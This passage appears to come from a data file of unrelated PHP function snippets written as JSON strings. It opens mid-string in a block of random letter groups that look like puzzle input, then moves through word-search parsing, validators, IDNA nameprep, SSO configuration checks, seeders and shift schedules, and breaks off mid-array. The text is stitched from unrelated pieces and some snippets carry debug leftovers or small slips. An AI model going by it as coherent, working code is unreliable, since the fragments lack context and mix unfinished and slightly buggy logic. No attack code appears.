njzmwxtvglbysuqrkadh\nqfghmrdljbksxzovuawnctyp\ntqxkvnmrjgpahylcsbdzwfuo\nuqxmlkfdnrjovatsgzwpbhcy\njfsagdqxrvpcnohubkzmtlyw\n\nnsofzrtgc\nfjtcsgoni\nftigacno\nhoupnqfcgt\nnfctgvxlyom\n\ngtlrszh\ntlghsrz\n\nciygwfesbtv\nhvcyb\n\notupmldwkhbvyxrni\nbdwthuylsvpxkmnor\nnxktbmlyvpdhwsoru\nmkbantvwxyguophdrl\n\nvlx\nxlvh\nlxv\n\nfalrxm\nabrml\n\ncz\nfe\nltxz\n\nzh\nhz\nzh\n\nvlpungo\nvnploug\nnvupgol\n\naihvwxomyseqjrup\nvxtbglcnhoewqszud\n\nevdfhlanzowmj\nwjfakoizvlyume\njeadzfswclmvqo\n\nvofnaxpuqdjzk\ntkxouzdqypvaf\nsfaimwuoerx\n\nyiqjnrmwg\ncnkzxdebopls\n\nmxuyznpkdslobfqethjvgcwi\ndhygwolniuzkmfqtjbexpcsv\njtnbavpgulcsfwzmeydkixhq\n\npwqcdsagneux\napwdslczguex\n\nochfgitkpjmxvbwsyalz\npqfoehjmklytngxzsa\n\nzwcdvjyuxm\njvxuczdm\njcuxdmzv\n\nex\nxe\nex\n\nbruqxpnt\nrtnxqu\n\ncqmpedhtwa\nhjnweafbtmydckvgi\ncoxdwrplmheta\nowmdqctaeh\n\neonvhayprlubmkdxcwqgt\nmbuqcnylwxekorvtphda\nltqohvydpemxknabwucr\n\nbviypkgrtaucmjeo\njpsbalymxkfcvdzoie\n\nvxlqyrfp\nvqplyxfr\nyqrplxvf\nlvyrqxpf\nrwqplfyvx\n\nx\nx\nx\nl\n\nyuvo\noyvu\n\ndqevksywtmajxhuorncgziflb\nsaberqxvnhjiwkgdyzfltc\nkvyjwgqcathexndlzsbfri\n\nrmpl\nmatsrkl\n\ndqw\ndwq\nwpdq\nwjsdq\nqrkwd\n\nvmoltnku\nwnatmlzqgo\nnvoutlm\nontxmvl\ntolxmn\n\nrjqvugxpbwd\njgdbwsprqvu\njdqupyvgwrbe\n\nmkibxclpud\ncumrkl\nhlztkmasvcwguo\n\nju\nu\nu\nu\n\nhvoizamdru\npuqftvdjr\nrgwsctbvdukf\nvdlkrpuxte\nrjxvwybudq\n\nth\naqbf\ntqfkyv\nocw\nlnxzijmpu\n\nisdxlmekbpyvrazoqngjhfw\nnczselimvurpbxoywgafhq\nymbhasxeliofwqgnrpzv\nxmpnzhyiablsqerguvowf\nvumoseywazfinhpqblxgr\n\nw\njuv\nwi\nc\nvw\n\nfjx\nfj\ntwayjeqo\njhx\njzr\n\nw\ncq\nfj\n\npnysjzkwmeaxgtirdf\nitgzyernwxkapdsfm\nrbkawofqxsinmzytgled\nsfnxytiwzmgakerd\n\nygnmzdhkxpe\nzktnlepuh\n\njsbfpuwvkiehgr\nejkrifnwvbgshplu\nvcjbhsigfukwpre\npbjfhesukgwvri\nwvkrsbeugjhipfy\n\noxzwnftk\noxwt\nwouxt\n\nnycmubiopg\ngbutcomnyp\nuboypnkcgm\npoxndgyubmc\n\nwpodjnyhtqukexc\nihjlvwdfguzpnxaet\ntojydphkwcxnuem\n\ndfyopwrhjcmxbiku\nmbawgjorfhpildyucx\nuihbwdocmvnspyqfx\n\nbrgjymfaw\nvrjywbgpf\nywzbjgf\nibeckofyj\n\nsktrbg\nulyndkbs\nkuvzabse\njpbhxsomck\nksbqfi\n\nlrkbaizhtpguwjq\nvgnouwhlabzirkpjqt\ntukpjrbzaigqlweh\nulasbqtpwhkzgijr\nzktiwbjuqsahlgpr\n\nipasgukbhcfwlt\ngzswubeqcalpif\nwpslbiguxaemfc\nnapwlgqfisxcbu\n\ntgcirbmwx\nagxyqrmwztc\nqgxmczwtr\nfnoxrwgjklmtec\n\niqthapgwsyzumejnd\ndxfvsceugokqlwmbyzjpr\n\nixms\nmpsi\n\ngjoxrcmt\nxrjgtomc\n\nrxikogsafteqbupm\ndgtqnkwescbrpmojafzi\nregptqlkaisybmfo\n\ngcsnyeojwl\nljeoyhcng\n\nrboeafpxktihsqnc\nfhjokdgqinwze\noihfmkynqxe\n\nrjuyhaqmliwckg\nximcfzgwyrlhn\nhlrgtcsimwxy\n\nwpfqculrmxos\ncojqs\nqcszo\nozcsq\n\nilbezokgtpwmu\nrkdfphtzcyw\n\nxda\nbfqugt\neadh\nh\nh\n\nejvpamsgd\ndgemiloau\ndmeasg\njademg\n\njfagcbmxyl\nbycfgjlmax\n\ngobmlcir\nroicglbp\nbicglro\nciobrlg\n\njiqowhr\nmbiqr\nqirm\nqrbil\n\neamlhtgvzsjoxyuinrpwqbd\nbtonqpwgjamhrlsixyvzdue\n\nrhnamzcvkqbdpftgwi\ntmbpkihdwzagvrfnq\nwkpdtzqmfgisbvnarh\nmwkbihgpfrnadtvqz\n\npdstumbzqalr\namzqwdrutpbls\nrqubzdpatmsl\nstzprabdmulq\n\nlf\nf\nf\n\njdegpfinlz\nxplfnegdzj\ngnalepfdzj\nxjeldpzgnf\nzdspgnfwyelj\n\nubly\nneqswi\n\nefrjdg\nxwdrbtj\nxkjdvb\npjuadqo\ndbj\n\nyrwq\nyqr\nrqy\n\nvsxcwouzegqak\nynfcl\nlrbc\nrcjh\n\nikxnftdovcphzae\nadpitzckovxhnef\ncilfohenpdzxtvka\nehitodpkvfzxcna\n\nte\nfamtuj\nintfreudw\nsxopkqgbl\n\npmjsxaekqlrdobwufnztvg\nwuqrkvbgopatsemlnzxd\nsvonbdeqagtzwlpcukmrx\nksuzlaernbcwovxgqdpmt\nwxetnlqazbpgskvomdur\n\nskpvxloqduizwatrgfnyc\nxaeyvgcfwpikoutnd\ngyanbjxwmitocpkufdv\n\nntuwlfqjyvrak\ntxivfyoldejunacg\n\nn\nq\nq\n\nsidtzk\nlzsondqitk\ntskzid\n\nhopdv\nhpdo\nohrcdp\n\nncdj\ncjda\nydkjrv\n\nbrtahsneojzq\nzejbnswvqoahyxr\nrmhosqeabjnz\naebsjoqtmzrnh\n\na\nyq\nmj\n\nzmcfrgsxenlkja\nvupsyjwrhq\n\ngrbxsd\nkpsygnarx\nrjbgsex\nejvgwlsrx\n\ndqrzwiux\niurdwz\nuidwzrp\nzwidrum\nuwzrid\n\nexmywtp\nwempt\ntpwem\ntpwme\n\narlhfxdcmv\nvsmrhclkqfi\nvrcphfmadl\n\nkylhz\nzly\nzly\n\ntal\ntal\na\nal\ndaevb';\n }",
"function parseList(){\r\n //gets word list, creates array of words from it\r\n //or return false if impossible\r\n\r\n global $currentWord, $boardData;\r\n\r\n $itWorked = TRUE;\r\n\r\n //convert word list entirely to upper case\r\n //$wordList = strtoupper($wordList);\r\n\r\n //split word list into array\r\n //$word = explode(\"\\n\", $wordList);\r\n\r\n //foreach ($word as $currentWord){\r\n //take out trailing newline characters\r\n //$currentWord = rtrim($currentWord);\r\n foreach($currentWord as $wordIndex) {\r\n var_dump($wordIndex);\r\n echo \"\\n\";\r\n //stop if any words are too long to fit in puzzle\r\n if ((strLen($wordIndex) > $boardData['width']) &&\r\n (strLen($wordIndex) > $boardData['height'])\r\n ) {\r\n print \"$wordIndex is too long for puzzle\";\r\n print \"Please increase the grid size in previous page and try again\";\r\n $itWorked = FALSE;\r\n } // end if\r\n }\r\n\r\n //} // end foreach\r\n return $itWorked;\r\n}",
"public function populateFromInput(): void {\n\t\t\n\t\tforeach ($this->getSections() as $section) {\n\t\t\t$section->populateFromInput();\n\t\t}\n\t}",
"function grammar($input){\n\t$graph = array();\n\t$graph = conect();// grafo do esquema\n\t\n\t$classInput = array();\n\tarray_push($classInput, array('valor' => array(), 'tipo' => array()));//estrutura de classificação\n\tarray_shift($input);\n\tforeach ($input as $key => $value) {\n\t\t\t//verifica o campo vazio\n\t\t\tif (empty($input[$key])) {\n\t\t\t\tarray_push($classInput[0][\"valor\"], \"NULLO\");\n\t\t\t\tarray_push($classInput[0][\"tipo\"], \"NULLO\");\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif(preg_match(\"/(\\d{2})\\/(\\d{2})\\/(\\d{4})$/\", $input[$key], $matches)){\n\t \t\tif (checkdate($matches[2], $matches[1], $matches[3])) { // testa se a data é válida\n\t\t\t\t\tarray_push($classInput[0][\"valor\"], $input[$key]);\n\t\t\t\t\tarray_push($classInput[0][\"tipo\"], \"DATE\");\n\t\t\t\t}\n\t\t\t}elseif(is_numeric($input[$key])){\n\t \t\tarray_push($classInput[0][\"valor\"], $input[$key]);\n\t\t\t\tarray_push($classInput[0][\"tipo\"], \"INT\");\n\t\t\t}else{\n\t \t\tarray_push($classInput[0][\"valor\"], $input[$key]);\n\t\t\t\tarray_push($classInput[0][\"tipo\"], \"ALF\");\n\t\t\t}\n\t}\n\t\n\t$rowColum = searchRowColum($input);//retorna a quantidade de linhas e colunas da tabela de entrada \n\t\n\tbuscaOcorrencias($graph,$rowColum, $classInput);\n\n}",
"public function testParseInput()\n {\n $input = 'a 1';\n $characters = array();\n $index = -1;\n parseInput($input, $characters, $index);\n $this->assertEquals('a', $characters[1]);\n $this->assertEquals(1, $index);\n\n // input = a b c d 4; $characters => (1 => 'd', 2 => 'c', 3 => 'b', 4 => 'a'), $index = 4\n $input = 'a b c d 4';\n $characters = array();\n $index = -1;\n parseInput($input, $characters, $index);\n $this->assertEquals('d', $characters[1]);\n $this->assertEquals('c', $characters[2]);\n $this->assertEquals('b', $characters[3]);\n $this->assertEquals('a', $characters[4]);\n $this->assertEquals(4, $index);\n\n // input = 'e f g h 2'; $characters => (1 => 'h', 2 => 'g', 3 => 'f', 4 => 'e'), $index = 2\n $input = 'e f g h 2';\n $characters = array();\n $index = -1;\n parseInput($input, $characters, $index);\n $this->assertEquals('h', $characters[1]);\n $this->assertEquals('g', $characters[2]);\n $this->assertEquals('f', $characters[3]);\n $this->assertEquals('e', $characters[4]);\n $this->assertEquals(2, $index);\n\n // input = 'b c d e 10'; $characters => (1 => 'e', 2 => 'd', 3 => 'c', 4 => 'b'), $index = 10\n $input = 'b c d e 10';\n $characters = array();\n $index = -1;\n parseInput($input, $characters, $index);\n $this->assertEquals('e', $characters[1]);\n $this->assertEquals('d', $characters[2]);\n $this->assertEquals('c', $characters[3]);\n $this->assertEquals('b', $characters[4]);\n $this->assertEquals(10, $index);\n }",
"function calculateSolution(&$pieces, $solution, $bitboard, $step = 0)\n{\n global $cleanBoardBit;\n global $lineLength;\n global $log;\n\n global $regex;\n global $regex2;\n global $regex3;\n\n // If the calculation has reached its last step, draw the solution\n if ($step >= sizeof($pieces)) {\n //if ($step >= 1) {\n $parts = str_split($solution, $lineLength);\n\n $text = '';\n $text .= str_repeat(chr(27) . \"[1;30m=\" . chr(27) . \"[0m\", $lineLength * 2 + 5);\n $text .= \"\\n\";\n\n $count = 0;\n $nrCharacters = 0;\n $uniqueCharacters = array();\n foreach ($parts as $part) {\n $text .= chr(27) . \"[1;30m|| \" . chr(27) . \"[0m\";\n\n $characters = str_split($part, 1);\n foreach ($characters as $character) {\n if ($character != '0') {\n $text .= sprintf(\n $pieces[$character]['terminalColor'],\n $character\n ) . ' ';\n\n if (!in_array($character, $uniqueCharacters)) {\n ++ $nrCharacters;\n $uniqueCharacters[] = $character;\n }\n } elseif ($cleanBoardBit[$count] == '1') {\n $text .= chr(27) . '[1;30mX ' . chr(27) . \"[0m\";\n } else {\n $text .= chr(27) . '[1;30m- ' . chr(27) . \"[0m\";\n }\n ++ $count;\n }\n $text .= chr(27) . \"[1;30m|| \" . chr(27) . \"[0m\\n\";\n }\n\n $text = \"\\n\" . chr(27) . \"[1;30mStap: $nrCharacters - oplossing: \"\n . ($log['solutions'] + 1) . chr(27) . \"[0m\\n\" . $text;\n\n $text .= str_repeat(chr(27) . \"[1;30m=\" . chr(27) . \"[0m\", $lineLength * 2 + 5);\n $text .= \"\\n\";\n\n echo $text;\n\n //$log['solutionsDrawn'][] = $solution;\n ++ $log['solutions'];\n\n // No further actions needed, quit this calculation\n return;\n }\n\n // Check if any of the pieces could provide a possible match\n foreach ($pieces as $pieceValue => $piece) {\n // Check if the piece isn't allready on the board\n if (strpos($solution, $pieceValue) !== false) {\n ++ $log['mis_piecevalue'];\n continue;\n }\n\n foreach ($piece['coords'] as $position) {\n //echo $step . ' | ';\n\n // Determine the postion where the piece will be placed, en prefix it with 0\n // upto that point\n $curPosition = str_repeat('0', strpos($bitboard, '0')) . $position;\n // Check if the piece won't run off the board\n if (strlen($curPosition) >= strlen($bitboard)) {\n ++ $log['mis_piece_to_long'];\n continue;\n }\n // Fill the string for the piece to match the board length. Account 1 extra\n $curPosition .= str_repeat('0', (strlen($bitboard) - strlen($curPosition)));\n\n // Check if the calculated position is available\n if (($curPosition & $bitboard) != 0) {\n ++ $log['mis_pieceposition'];\n continue;\n }\n\n // Recalculate the board with the new piece inlcuded\n $newBitboard = ($bitboard | $curPosition);\n\n // Check for invalid isolated cels\n if (preg_match($regex, $newBitboard)\n || preg_match($regex2, $newBitboard)\n || preg_match($regex3, $newBitboard)\n ) {\n ++ $log['mis_isoleted_field'];\n continue;\n }\n\n // Generate the new solution\n $newSolution = $solution;\n // Check the position of the new piece and use it to rewrite the solution string\n while (strpos($curPosition, '1') !== false) {\n $bitPosition = strpos($curPosition, '1');\n\n $newSolution[$bitPosition] = $pieceValue;\n $curPosition[$bitPosition] = '0';\n }\n\n // Calculate the possible solutions for the generated temporary solution\n calculateSolution($pieces, $newSolution, $newBitboard, $step + 1);\n }\n }\n}",
"protected function processInput()\n {\n if (empty($this->input)) {\n $this->input = request()->except('_token');\n\n if ($this->injectUserId) {\n $this->input['user_id'] = Auth::user()->id;\n }\n }\n $this->sanitize();\n request()->replace($this->input); // @todo IS THIS NECESSARY?\n }",
"static function process($input, $params = array()) {\n\t\t$return = self::_preProcess($input);\n\t\t// ... Stub\n\t\tself::log('Import finished');\n\t\treturn $return;\n\t}",
"protected function execute(InputInterface $input, OutputInterface $output)\n {\n // based on word type:\n // if word type is reading:\n // - if the word is in hiragana, set the reading as same word\n // - if the word is in katagana, find the word with same base but in hiragana\n // - else, set the reading as the same word\n // if the word type is kanji:\n // - find all the reading word with same base\n // - filter word that are hiragana\n // - create a wordReading for each resulting combination.\n\n\n $insert = $this->em->getConnection()->prepare(\"\n insert into word_reading (word_id, reading_id, code) value (?,?, ?)\n \");\n\n $findByBaseAndValue = $this->em->getConnection()->prepare(\"\n select \n *\n from \n word \n where \n base_id = ? and value = ?\n \");\n\n $findReadingByBase = $this->em->getConnection()->prepare(\"\n select \n *\n from \n word \n where \n base_id = ? and type = 'reading'\n \");\n\n $total = 0;\n\n do {\n $stmt = $this->em->getConnection()->prepare(\"\n select \n w.*\n from \n word w\n left join \n word_reading wr\n on \n w.id = wr.word_id\n where \n wr.id is null \n limit 1000\");\n\n $stmt->execute();\n\n $count = 0;\n\n while($row = $stmt->fetch()) {\n\n if($row[\"type\"] == \"reading\") {\n\n $hiragana = mb_convert_kana($row[\"value\"], \"cH\");\n\n \n if($row[\"value\"] == $hiragana) {\n\n //echo $row[\"value\"] . \" - \" . $hiragana . PHP_EOL;\n $insert->execute([$row[\"id\"], $row[\"id\"], 0]);\n\n }\n else {\n\n $findByBaseAndValue->execute([$row[\"base_id\"], $hiragana]);\n\n $matches = $findByBaseAndValue->fetchAll();\n\n if(!$matches) {\n\n // probably some katagana stuff\n $insert->execute([$row[\"id\"], $row[\"id\"], 1]);\n\n }\n elseif(count($matches) == 1) {\n\n // expected behavior\n $reading = $matches[0];\n\n $insert->execute([$row[\"id\"], $reading[\"id\"], 2]);\n\n\n }\n else {\n\n echo \"Ooops, unexpected match count for \" . $hiragana . \" \" . $row[\"value\"] . \" \" . $row[\"id\"] . \" : \" . count($matches) . PHP_EOL;\n\n exit;\n\n }\n\n }\n\n }\n else {\n\n $findReadingByBase->execute([$row[\"base_id\"]]);\n\n $matches = $findReadingByBase->fetchAll();\n\n $hiraganas = [];\n\n foreach($matches as $match) {\n\n $hiragana = mb_convert_kana($match[\"value\"], \"cH\");\n //echo $match[\"value\"] . \" - \" . $hiragana . PHP_EOL;\n\n if($match[\"value\"] == $hiragana) {\n\n $hiraganas[] = $match;\n\n }\n\n }\n\n \n if(!count($hiraganas)) {\n\n if($matches) {\n\n foreach($matches as $match) {\n\n $insert->execute([$row[\"id\"], $match[\"id\"], 4]);\n\n }\n\n }\n else {\n\n echo \"Ooops, no hiragana match \" . $row[\"value\"] . \" \" . $row[\"id\"] . PHP_EOL;\n exit;\n\n }\n \n\n\n }\n else {\n\n foreach($hiraganas as $hiragana) {\n\n $insert->execute([$row[\"id\"], $hiragana[\"id\"], 3]);\n\n }\n\n }\n\n\n }\n\n $count++;\n\n }\n\n $total += $count;\n echo $total . PHP_EOL;\n\n }\n while($count);\n\n\n\n }",
"private function parseCourse($input) {\n $matches = array();\n if ( preg_match('/^([A-Z]+)/i', $input, $matches) ) {\n $this->department = $matches[1];\n } else {\n $this->fail('Problem parsing department');\n }\n $matches = array();\n if ( preg_match('/([0-9]+)/', $input, $matches) ) {\n $this->course_number = $matches[1];\n } else {\n $this->fail('Problem parsing course number');\n }\n\n }",
"protected function _nameprep($input)\n {\n $output = array();\n $error = false;\n //\n // Mapping\n // Walking through the input array, performing the required steps on each of\n // the input chars and putting the result into the output array\n // While mapping required chars we apply the cannonical ordering\n foreach($input as $v)\n {\n // Map to nothing == skip that code point\n if(in_array($v, $this->NP['map_nothing']))\n continue;\n // Try to find prohibited input\n if(in_array($v, $this->NP['prohibit']) || in_array($v, $this->NP['general_prohibited']))\n {\n $this->_error('NAMEPREP: Prohibited input U+' . sprintf('%08X', $v));\n return false;\n }\n foreach($this->NP['prohibit_ranges'] as $range)\n {\n if($range[0] <= $v && $v <= $range[1])\n {\n $this->_error('NAMEPREP: Prohibited input U+' . sprintf('%08X', $v));\n return false;\n }\n }\n // Hangul syllable decomposition\n if(0xAC00 <= $v && $v <= 0xD7AF)\n {\n foreach($this->_hangul_decompose($v) as $out)\n $output[] = (int)$out;\n // There's a decomposition mapping for that code point\n }\n elseif(isset($this->NP['replacemaps'][$v]))\n {\n foreach($this->_apply_cannonical_ordering($this->NP['replacemaps'][$v]) as $out)\n {\n $output[] = (int)$out;\n }\n }\n else\n {\n $output[] = (int)$v;\n }\n }\n // Before applying any Combining, try to rearrange any Hangul syllables\n $output = $this->_hangul_compose($output);\n //\n // Combine code points\n //\n $last_class = 0;\n $last_starter = 0;\n $out_len = count($output);\n for($i = 0; $i < $out_len; ++$i)\n {\n $class = $this->_get_combining_class($output[$i]);\n if((!$last_class || $last_class > $class) && $class)\n {\n // Try to match\n $seq_len = $i - $last_starter;\n $out = $this->_combine(array_slice($output, $last_starter, $seq_len));\n // On match: Replace the last starter with the composed character and remove\n // the now redundant non-starter(s)\n if($out)\n {\n $output[$last_starter] = $out;\n if(count($out) != $seq_len)\n {\n for($j = $i + 1; $j < $out_len; ++$j)\n $output[$j - 1] = $output[$j];\n unset($output[$out_len]);\n }\n // Rewind the for loop by one, since there can be more possible compositions\n $i --;\n $out_len --;\n $last_class = ($i == $last_starter)? 0 :$this->_get_combining_class($output[$i - 1]);\n continue;\n }\n }\n // The current class is 0\n if(!$class)\n $last_starter = $i;\n $last_class = $class;\n }\n return $output;\n }",
"#[\\JetBrains\\PhpStorm\\ArrayShape([0 => 'int[]', 1 => 'Board[]'])]\nfunction parse_input(string $input): array\n{\n [$n, $b] = explode(\"\\n\\n\", $input, 2);\n\n $numbers = toIntArray(explode(',', $n));\n\n $boards = collect(explode(\"\\n\\n\", $b))\n ->map(function ($board) {\n return new Board($board);\n });\n\n return [$numbers, $boards];\n}",
"private function parseSceneInput()\n {\n $nCols = -1;\n $rows = str_replace(' ', '', $this->input);\n $rows = preg_split('/$\\R?^/m', $rows);\n foreach ($rows as $row) {\n $cols = str_split($row);\n //filtra entrada e remove chars invalidos\n foreach ($cols as $colKey => $col) {\n if ($col != '.' && $col != '*' && $col != 'A') {\n unset($cols[$colKey]);\n }\n }\n $this->scene[] = $cols;\n //soma qtd de nuvems da linha\n $this->nClouds += sizeof(array_keys($cols, '*'));\n //soma qtd de aeroportos da linha\n $this->nAirports += sizeof(array_keys($cols, 'A'));\n\n //verifica se todas as linhas tem o mesmo numero de colunas;\n if ($nCols == -1) {\n $nCols = sizeof($cols);\n }\n if ($nCols != sizeof($cols)) {\n return false;\n }\n }\n // calcula cenário\n $this->nRows = sizeof($this->scene);\n $this->nCols = sizeof($this->scene[0]);\n return true;\n }",
"function input ()\n\t{}",
"public function run()\n {\n #primer año\n $this->agregar(7713,[5793,5912],[],[],[5793,5912]); # ipoo\n $this->agregar(7791,[5793,5912],[],[],[5793,5912]); # lenguajes formales\n\n #segundo \n $this->agregar(7655,[5551,7713],[5793],[],[5551,7713,5793]); # ED\n $this->agregar(7949,[7713,7791],[5912],[],[7713,7791,5912]); # tdp\n $this->agregar(5552,[],[5551],[],[5551]); # am2\n $this->agregar(5744,[7791,7655],[7713],[],[7791,7655,7713]); # orga\n $this->agregar(7951,[7655],[7713],[],[7655,7713]); # tdp\n\n #tercero\n $this->agregar(5534,[7951],[7655],[],[7951,7655]); # ayds\n $this->agregar(5561,[5744],[7791],[],[5744,7791]); # arqui\n $this->agregar(5704,[7951],[7949],[],[7951,7951]); # logica\n $this->agregar(7552,[5704,5534],[],[],[5704,5534]); # bases de datos\n $this->agregar(7810,[5552],[7791,7655],[],[5552,7791,7655]); # mcc\n $this->agregar(7820,[7791],[5551,5793],[],[7791,5551,5793]); # estadsitica\n $this->agregar(7925,[5561],[5744],[],[5561,5744]); # soyd\n\n #cuarto\n $this->agregar(5587,[7552],[5534],[],[7552,5534]); # dyds\n $this->agregar(5696,[7925,7552],[5704],[],[7925,7552,5704]); # lenguajes de prog\n $this->agregar(7903,[7925],[],[],[7925]); #redes\n $this->agregar(7502,[5587],[],[],[5587]); # aps\n $this->agregar(5576,[5696],[],[],[5696]); # compiladores\n $this->agregar(5684,[7552],[5704],[],[7552,5704]); # IA\n\n #quinto\n $this->agregar(5523,[5704,7810],[7951],[],[5704,7810,7951]); # algoritmos\n $this->agregar(7680,[5587,7903],[7552],[],[5587,7903,7552]); # iaw\n\n }",
"private function prepareInput($input) {\n $error_detected = [];\n\n $type = '';\n //check for requirements\n if (isset($input['type'])) {\n $type = $input['type'];\n }\n\n if (!isset($input['name']) || empty($input['name'])) {\n $error_detected[] = __sso('A Name is required');\n }\n\n if (empty($type)) {\n $error_detected[] = __('An item type is required');\n } else if (!isset(static::getTypes()[$type])) {\n $error_detected[] = sprintf(__sso('The \"%s\" is a Invalid type'), $type);\n }\n\n if (!isset($input['client_id']) || empty($input['client_id'])) {\n $error_detected[] = __sso('A Client ID is required');\n }\n\n if (!isset($input['client_secret']) || empty($input['client_secret'])) {\n $error_detected[] = __sso('A Client Secret is required');\n }\n\n if ($type === 'generic') {\n if (!isset($input['url_authorize']) || empty($input['url_authorize'])) {\n $error_detected[] = __sso('An Authorize URL is required');\n } else if (!filter_var($input['url_authorize'], FILTER_VALIDATE_URL)) {\n $error_detected[] = __sso('The Authorize URL is invalid');\n }\n\n if (!isset($input['url_access_token']) || empty($input['url_access_token'])) {\n $error_detected[] = __sso('An Access Token URL is required');\n } else if (!filter_var($input['url_access_token'], FILTER_VALIDATE_URL)) {\n $error_detected[] = __sso('The Access Token URL is invalid');\n }\n\n if (!isset($input['url_resource_owner_details']) || empty($input['url_resource_owner_details'])) {\n $error_detected[] = __sso('A Resource Owner Details URL is required');\n } else if (!filter_var($input['url_resource_owner_details'], FILTER_VALIDATE_URL)) {\n $error_detected[] = __sso('The Resource Owner Details URL is invalid');\n }\n }\n\n if (count($error_detected)) {\n foreach ($error_detected as $error) {\n Session::addMessageAfterRedirect(\n $error,\n true,\n ERROR\n );\n }\n return false;\n }\n\n return $input;\n }",
"public function run() {\n \n foreach( $this->validation_rules as $var=>$opt) {\n \n /*\n $default_opt = [\n 'min' => false,\n 'max' => false,\n 'required' => false,\n ];\n $opt = array_merge($default_opt,$opt);\n */\n \n //if compulsary field is not set then no point validating further\n if(isset($opt['set']) && !$this->is_set($var)) {\n continue;\n } \n \n /* Trim whitespace from beginning and end of variable */\n if( array_key_exists('trim', $opt) ) {\n $this->source[$var] = trim( $this->source[$var] );\n }\n \n $is_required = false;\n \n //if required field is empty then no point validating further\n if( isset($opt['required']) && !$this->not_empty($var) ) {\n continue;\n }\n \n if( isset($opt['required']) ) {\n unset($opt['required']);\n $is_required = true;\n }\n \n if( isset($opt['set']) )\n unset($opt['set']);\n \n if( isset($opt['trim']) )\n unset($opt['trim']);\n \n foreach( $opt as $rule_type=>$rule_val ) {\n $raw_field_value = isset($this->source[$var]) ? $this->source[$var] : false;\n \n /*\n if(is_string($raw_field_value) && strlen($raw_field_value) == 0 && !$is_required)\n continue;\n */\n $result = true;\n if( method_exists($this, 'validate_'.$rule_type) ) {\n $t_params = is_array($rule_val) ? array_merge([$var], $rule_val) : [$var, $rule_val];\n //$result = call_user_func_array([$this, 'validate_'.$rule_type], [$var, $rule_val]);\n $result = call_user_func_array([$this, 'validate_'.$rule_type], $t_params);\n }\n elseif( method_exists($this->caller_obj, $rule_type) ) {\n $t_params = is_array($rule_val) ? array_merge([$this, $raw_field_value], $rule_val) : [$this, $raw_field_value, $rule_val];\n $result = call_user_func_array([$this->caller_obj, $rule_type], $t_params);\n }\n elseif( function_exists($rule_type) ) {\n $t_params = is_array($rule_val) ? array_merge([$this, $raw_field_value], $rule_val) : [$this, $raw_field_value, $rule_val];\n $result = call_user_func_array($rule_type, $t_params);\n }\n \n if($result === false)\n break;\n }\n }\n }",
"private function process()\n {\n foreach ($this->rules as $key => $rule)\n {\n $exp = explode('|', $rule);\n\n foreach ($exp as $method)\n {\n if (strstr($method, ':')) list($method, $param) = explode(':', $method, 2);\n else $param = '';\n \n $input = array_get($this->input, $key);\n\n if (method_exists($this, \"process_$method\") === false)\n {\n if (!$input) continue;\n \n if (array_key_exists($method, self::$custom))\n {\n if (call_user_func(self::$custom[$method], $input, $param, $this) !== true) $this->set_error($key, $method);\n } else {\n throw new ValidatorNotFound(\"No validator exists for [$method]\");\n }\n } else {\n if (($input || $method == 'required') && $this->{\"process_$method\"}($input, $param, $this) !== true) $this->set_error($key, $method);\n }\n }\n }\n }",
"public abstract function process();",
"private function part1()\n {\n $this->start();\n\n $groups = explode(\"\\n\\n\", $this->getInput());\n $sum = 0;\n\n foreach ($groups as $group) {\n $answers = [];\n $people = explode(\"\\n\", $group);\n\n foreach ($people as $person) {\n foreach (str_split($person) as $answer) {\n $answers[$answer] = true;\n }\n }\n\n $sum = count($answers) + $sum;\n }\n\n $this->finish();\n\n $this->addPart([\n 'table' => [\n 'headings' => ['Part 1: Answer'],\n 'data' => [[$sum]],\n ],\n 'time' => $this->getTime(),\n ]);\n }",
"public function part1()\n {\n $this->start();\n\n $batches = collect(explode(\"\\n\\n\", $this->getInput()));\n\n $valids = 0;\n\n foreach ($batches as $batch) {\n $batch = str_replace(\"\\n\", ' ', $batch);\n $parts = explode(':', $batch);\n\n foreach ($parts as $k => $part) {\n if ($k + 1 === count($parts)) {\n unset($parts[$k]);\n continue;\n }\n\n $parts[$k] = substr($part, -3, 3);\n }\n\n if (count($parts) < 7) continue;\n\n if (count($parts) === 8) {\n $valids++;\n continue;\n }\n\n if (! in_array('cid', $parts)) {\n $valids++;\n }\n }\n\n $this->finish();\n\n $this->addPart([\n 'table' => [\n 'headings' => ['Part 1: Answer'],\n 'data' => [[$valids]],\n ],\n 'time' => $this->getTime(),\n ]);\n }",
"private function processInput($input)\n {\n if (count($input) === 0) {\n return $this->requestError();\n }\n\n if (isset($input[0])) {\n return $this->processBatchRequests($input);\n }\n\n return $this->processRequest($input);\n }",
"public function run()\n {\n # 勤務時間パターン\n $pattern = [\n 'a'=>[\n 'in'=>8*60*60,\n 'out'=>17*60*60\n ,\n 'breaks'=>[\n ['in'=>11*60*60, 'out'=>11*60*60 + 30*60, 'total_time'=> 30*60, ],\n ['in'=>13*60*60, 'out'=>13*60*60 + 30*60, 'total_time'=> 30*60, ],\n ],\n 'RestrainTime' => 9*60*60,\n 'BreakTime' => 1*60*60,\n 'WorkingTime' => 8*60*60,\n ],\n 'b'=>[\n 'in'=>10*60*60,\n 'out'=>17*60*60\n ,\n 'breaks'=>[\n ['in'=>11*60*60 + 30*60, 'out'=>12*60*60,'total_time'=> 30*60, ],\n ['in'=>13*60*60 + 30*60,'out'=>14*60*60, 'total_time'=> 30*60, ],\n ],\n 'RestrainTime' => 7*60*60,\n 'BreakTime' => 1*60*60,\n 'WorkingTime' => 6*60*60,\n\n ],\n 'c'=>[\n 'in'=>17*60*60\n ,\n 'out'=>22*60*60,\n 'breaks'=>[\n ['in'=>20*60*60,'out'=>20*60*60 + 30*60, 'total_time'=> 30*60, ],\n ],\n 'RestrainTime' => 5*60*60,\n 'BreakTime' => 30*60,\n 'WorkingTime' => 4*60*60 + 30*60,\n\n ],\n 'd'=>[\n 'in'=>18*60*60,\n 'out'=>24*60*60,\n 'breaks'=>[\n ['in'=>20*60*60 + 30*60,'out'=>21*60*60, 'total_time'=> 30*60, ],\n ],\n 'RestrainTime' => 6*60*60,\n 'BreakTime' => 30*60,\n 'WorkingTime' => 5*60*60 + 30*60,\n\n ],\n 'e'=>[\n 'in'=>22*60*60,\n 'out'=>24*60*60,\n 'breaks'=>[\n ['in'=>23*60*60 + 30*60,'out'=>24*60*60, 'total_time'=> 30*60, ],\n ],\n 'RestrainTime' => 2*60*60,\n 'BreakTime' => 30*60,\n 'WorkingTime' => 1*60*60 + 30*60,\n\n ],\n 'f'=>[\n 'in'=>0*60*60,\n 'out'=>8*60*60,\n 'breaks'=>[\n 